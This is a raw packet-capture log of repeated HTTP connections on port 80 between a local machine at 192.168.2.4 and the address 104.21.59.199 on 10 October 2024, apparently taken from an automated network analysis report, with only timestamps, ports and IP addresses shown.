Oct 10, 2024 21:03:11.951077938 CEST	80	50674	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:11.951105118 CEST	80	50674	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:11.951134920 CEST	80	50674	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:11.951160908 CEST	80	50674	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:11.951466084 CEST	80	50674	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:11.951495886 CEST	80	50674	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:11.951577902 CEST	80	50674	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:11.951603889 CEST	80	50674	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:12.240461111 CEST	80	50674	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:12.249919891 CEST	50674	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:03:12.256182909 CEST	80	50674	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:12.256563902 CEST	50674	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:03:12.426865101 CEST	50675	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:03:12.432197094 CEST	80	50675	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:12.432277918 CEST	50675	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:03:12.432637930 CEST	50675	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:03:12.437555075 CEST	80	50675	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:12.907500029 CEST	80	50675	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:12.908859968 CEST	50675	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:03:12.908860922 CEST	50675	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:03:12.913861036 CEST	80	50675	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:12.914196968 CEST	80	50675	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:12.914223909 CEST	80	50675	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:12.914248943 CEST	80	50675	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:12.914274931 CEST	80	50675	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:12.914328098 CEST	80	50675	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:12.914354086 CEST	80	50675	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:12.914380074 CEST	80	50675	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:12.914391994 CEST	50675	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:03:12.914392948 CEST	50675	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:03:12.914408922 CEST	80	50675	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:12.914436102 CEST	80	50675	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:12.914535999 CEST	50675	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:03:12.918732882 CEST	80	50675	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:12.918921947 CEST	50675	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:03:12.919404984 CEST	80	50675	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:12.919466972 CEST	80	50675	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:12.919492960 CEST	80	50675	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:12.919523001 CEST	80	50675	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:12.919615984 CEST	50675	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:03:12.923933983 CEST	80	50675	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:12.923962116 CEST	80	50675	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:12.923989058 CEST	80	50675	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:12.924015045 CEST	80	50675	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:12.924041033 CEST	80	50675	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:12.924066067 CEST	80	50675	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:12.924091101 CEST	80	50675	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:12.924144983 CEST	50675	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:03:12.924145937 CEST	50675	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:03:12.924288034 CEST	80	50675	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:12.924293041 CEST	50675	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:03:12.924336910 CEST	50675	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:03:12.924690008 CEST	80	50675	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:12.924830914 CEST	80	50675	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:12.929020882 CEST	80	50675	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:12.929048061 CEST	80	50675	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:12.929250002 CEST	80	50675	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:12.929579020 CEST	80	50675	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:12.929605961 CEST	80	50675	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:12.929631948 CEST	80	50675	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:12.929656982 CEST	80	50675	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:12.929682016 CEST	80	50675	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:12.929708004 CEST	80	50675	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:12.929758072 CEST	80	50675	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:12.929783106 CEST	80	50675	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:12.934423923 CEST	80	50675	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:12.934452057 CEST	80	50675	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:12.934478045 CEST	80	50675	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:12.934504032 CEST	80	50675	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:12.934529066 CEST	80	50675	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:12.934554100 CEST	80	50675	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:12.934578896 CEST	80	50675	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:12.934603930 CEST	80	50675	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:12.934629917 CEST	80	50675	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:12.934654951 CEST	80	50675	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:12.934679985 CEST	80	50675	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:12.934705019 CEST	80	50675	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:12.934730053 CEST	80	50675	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:13.231987953 CEST	80	50675	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:13.275456905 CEST	50675	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:03:13.289258003 CEST	50675	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:03:13.294964075 CEST	80	50675	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:13.295170069 CEST	50675	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:03:13.429626942 CEST	50676	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:03:13.434689045 CEST	80	50676	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:13.434788942 CEST	50676	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:03:13.435364962 CEST	50676	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:03:13.440232038 CEST	80	50676	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:13.905700922 CEST	80	50676	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:13.906599998 CEST	50676	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:03:13.906883001 CEST	50676	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:03:13.912127972 CEST	80	50676	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:13.912159920 CEST	80	50676	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:13.912194014 CEST	80	50676	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:13.912214994 CEST	50676	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:03:13.912220955 CEST	80	50676	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:13.912240982 CEST	50676	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:03:13.912265062 CEST	50676	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:03:13.912269115 CEST	80	50676	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:13.912317038 CEST	50676	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:03:13.912549019 CEST	80	50676	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:13.912575006 CEST	80	50676	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:13.912595034 CEST	50676	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:03:13.912616968 CEST	50676	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:03:13.912645102 CEST	80	50676	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:13.912689924 CEST	50676	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:03:13.912715912 CEST	80	50676	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:13.912743092 CEST	80	50676	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:13.912761927 CEST	50676	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:03:13.912795067 CEST	50676	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:03:13.916997910 CEST	80	50676	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:13.917170048 CEST	50676	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:03:13.917201042 CEST	80	50676	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:13.917227983 CEST	80	50676	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:13.917252064 CEST	50676	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:03:13.917269945 CEST	50676	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:03:13.917357922 CEST	80	50676	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:13.917385101 CEST	80	50676	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:13.917408943 CEST	50676	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:03:13.917411089 CEST	80	50676	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:13.917428970 CEST	50676	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:03:13.917450905 CEST	50676	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:03:13.917953014 CEST	80	50676	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:13.917979002 CEST	80	50676	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:13.918044090 CEST	50676	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:03:13.918097019 CEST	50676	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:03:13.924017906 CEST	80	50676	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:13.924196959 CEST	50676	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:03:13.929198980 CEST	80	50676	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:13.929228067 CEST	80	50676	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:13.929281950 CEST	80	50676	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:13.929349899 CEST	80	50676	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:13.929379940 CEST	80	50676	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:14.223997116 CEST	80	50676	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:14.231223106 CEST	50676	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:03:14.237618923 CEST	80	50676	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:14.237782001 CEST	50676	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:03:14.411592007 CEST	50677	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:03:14.416623116 CEST	80	50677	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:14.416702032 CEST	50677	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:03:14.417056084 CEST	50677	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:03:14.423863888 CEST	80	50677	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:14.874090910 CEST	80	50677	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:14.875165939 CEST	50677	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:03:14.875369072 CEST	50677	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:03:14.880407095 CEST	80	50677	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:14.880633116 CEST	80	50677	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:14.880697966 CEST	50677	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:03:14.880748987 CEST	80	50677	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:14.880775928 CEST	80	50677	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:14.880809069 CEST	50677	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:03:14.880826950 CEST	80	50677	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:14.880844116 CEST	50677	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:03:14.880853891 CEST	80	50677	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:14.880877018 CEST	50677	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:03:14.880881071 CEST	80	50677	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:14.880907059 CEST	50677	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:03:14.880911112 CEST	80	50677	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:14.880933046 CEST	50677	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:03:14.880959034 CEST	50677	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:03:14.881138086 CEST	80	50677	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:14.881186962 CEST	80	50677	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:14.881194115 CEST	50677	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:03:14.881242990 CEST	50677	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:03:14.885454893 CEST	80	50677	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:14.885543108 CEST	50677	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:03:14.885889053 CEST	80	50677	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:14.885934114 CEST	80	50677	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:14.885956049 CEST	50677	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:03:14.885960102 CEST	80	50677	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:14.885982990 CEST	50677	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:03:14.886004925 CEST	50677	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:03:14.886075020 CEST	80	50677	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:14.886101007 CEST	80	50677	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:14.886131048 CEST	50677	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:03:14.886148930 CEST	80	50677	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:14.886168003 CEST	50677	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:03:14.886176109 CEST	80	50677	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:14.886203051 CEST	50677	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:03:14.886236906 CEST	80	50677	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:14.886245012 CEST	50677	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:03:14.886277914 CEST	80	50677	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:14.886295080 CEST	50677	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:03:14.886339903 CEST	50677	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:03:14.886348009 CEST	80	50677	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:14.886408091 CEST	50677	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:03:14.890537024 CEST	80	50677	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:14.890600920 CEST	50677	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:03:14.890933990 CEST	80	50677	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:14.890988111 CEST	50677	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:03:14.891123056 CEST	80	50677	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:14.891227007 CEST	80	50677	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:14.891273022 CEST	80	50677	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:14.891355038 CEST	80	50677	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:14.891380072 CEST	80	50677	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:14.891423941 CEST	80	50677	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:14.891472101 CEST	80	50677	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:14.891661882 CEST	80	50677	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:14.891688108 CEST	80	50677	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:14.891716957 CEST	80	50677	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:14.891923904 CEST	80	50677	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:14.891949892 CEST	80	50677	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:14.892085075 CEST	80	50677	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:14.892111063 CEST	80	50677	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:14.892137051 CEST	80	50677	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:14.892163038 CEST	80	50677	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:14.892189026 CEST	80	50677	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:14.892214060 CEST	80	50677	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:14.892239094 CEST	80	50677	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:14.892263889 CEST	80	50677	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:14.892288923 CEST	80	50677	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:14.895905018 CEST	80	50677	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:14.896080971 CEST	80	50677	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:14.896106958 CEST	80	50677	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:14.896131992 CEST	80	50677	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:14.896162987 CEST	80	50677	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:15.549601078 CEST	80	50677	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:15.551565886 CEST	80	50677	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:15.551639080 CEST	50677	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:03:15.881088018 CEST	80	50677	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:15.881200075 CEST	50677	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:03:16.000157118 CEST	50677	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:03:16.010025978 CEST	80	50677	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:16.010108948 CEST	50677	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:03:16.131710052 CEST	50678	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:03:16.137100935 CEST	80	50678	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:16.137192011 CEST	50678	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:03:16.137958050 CEST	50678	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:03:16.142894983 CEST	80	50678	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:17.150162935 CEST	50678	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:03:17.150279045 CEST	50678	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:03:17.384390116 CEST	50678	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:03:17.485954046 CEST	80	50678	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:17.486984968 CEST	80	50678	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:17.487067938 CEST	50678	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:03:17.487925053 CEST	80	50678	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:17.487979889 CEST	50678	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:03:17.490838051 CEST	80	50678	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:17.490888119 CEST	80	50678	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:17.490946054 CEST	50678	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:03:17.491287947 CEST	80	50678	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:17.491353035 CEST	50678	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:03:17.491456032 CEST	80	50678	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:17.491482973 CEST	80	50678	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:17.491516113 CEST	50678	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:03:17.491558075 CEST	50678	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:03:17.491842985 CEST	80	50678	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:17.491869926 CEST	80	50678	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:17.491899014 CEST	80	50678	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:17.491915941 CEST	50678	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:03:17.491945982 CEST	50678	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:03:17.491974115 CEST	80	50678	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:17.492000103 CEST	80	50678	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:17.492027998 CEST	50678	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:03:17.492028952 CEST	80	50678	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:17.492074966 CEST	50678	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:03:17.492074966 CEST	50678	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:03:17.492369890 CEST	80	50678	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:17.492418051 CEST	50678	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:03:17.496037006 CEST	80	50678	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:17.496102095 CEST	50678	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:03:17.496459007 CEST	80	50678	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:17.496524096 CEST	50678	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:03:17.496608973 CEST	80	50678	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:17.496635914 CEST	80	50678	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:17.496665001 CEST	80	50678	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:17.496670008 CEST	50678	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:03:17.496707916 CEST	50678	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:03:17.496707916 CEST	50678	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:03:17.496932983 CEST	80	50678	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:17.496994972 CEST	50678	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:03:17.497353077 CEST	80	50678	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:17.497380018 CEST	80	50678	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:17.497406006 CEST	80	50678	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:17.497412920 CEST	50678	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:03:17.497432947 CEST	80	50678	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:17.497463942 CEST	50678	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:03:17.497463942 CEST	50678	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:03:17.497478962 CEST	80	50678	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:17.497504950 CEST	80	50678	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:17.497508049 CEST	50678	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:03:17.497540951 CEST	50678	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:03:17.497596025 CEST	50678	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:03:17.501018047 CEST	80	50678	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:17.501080036 CEST	50678	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:03:17.501580954 CEST	80	50678	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:17.501950026 CEST	80	50678	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:17.502207994 CEST	80	50678	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:17.502234936 CEST	80	50678	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:17.502409935 CEST	80	50678	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:17.502615929 CEST	80	50678	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:17.502645969 CEST	80	50678	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:17.502671957 CEST	80	50678	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:17.502815962 CEST	80	50678	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:17.502842903 CEST	80	50678	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:17.502867937 CEST	80	50678	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:17.502893925 CEST	80	50678	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:17.502918959 CEST	80	50678	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:17.502944946 CEST	80	50678	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:17.502970934 CEST	80	50678	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:17.502995968 CEST	80	50678	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:17.503118038 CEST	80	50678	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:17.503180027 CEST	80	50678	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:17.503205061 CEST	80	50678	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:17.503233910 CEST	80	50678	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:17.503258944 CEST	80	50678	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:17.503283978 CEST	80	50678	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:17.503309965 CEST	80	50678	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:17.503334999 CEST	80	50678	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:17.506108999 CEST	80	50678	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:17.807626009 CEST	80	50678	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:17.816539049 CEST	50678	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:03:17.822218895 CEST	80	50678	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:17.822293043 CEST	50678	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:03:17.960093021 CEST	50679	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:03:17.965806007 CEST	80	50679	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:17.965933084 CEST	50679	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:03:17.966568947 CEST	50679	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:03:17.971673012 CEST	80	50679	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:18.412811041 CEST	80	50679	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:18.413479090 CEST	50679	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:03:18.413705111 CEST	50679	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:03:18.418431997 CEST	80	50679	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:18.418581963 CEST	80	50679	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:18.418633938 CEST	50679	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:03:18.418688059 CEST	80	50679	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:18.418842077 CEST	50679	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:03:18.418867111 CEST	80	50679	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:18.418895960 CEST	80	50679	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:18.418926001 CEST	50679	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:03:18.418937922 CEST	50679	80	192.168.2.4	104.21.59.199
Oct 10, 2024 21:03:18.418962002 CEST	80	50679	104.21.59.199	192.168.2.4
Oct 10, 2024 21:03:18.419011116 CEST	50679	80	192.168.2.4	104.21.59.199
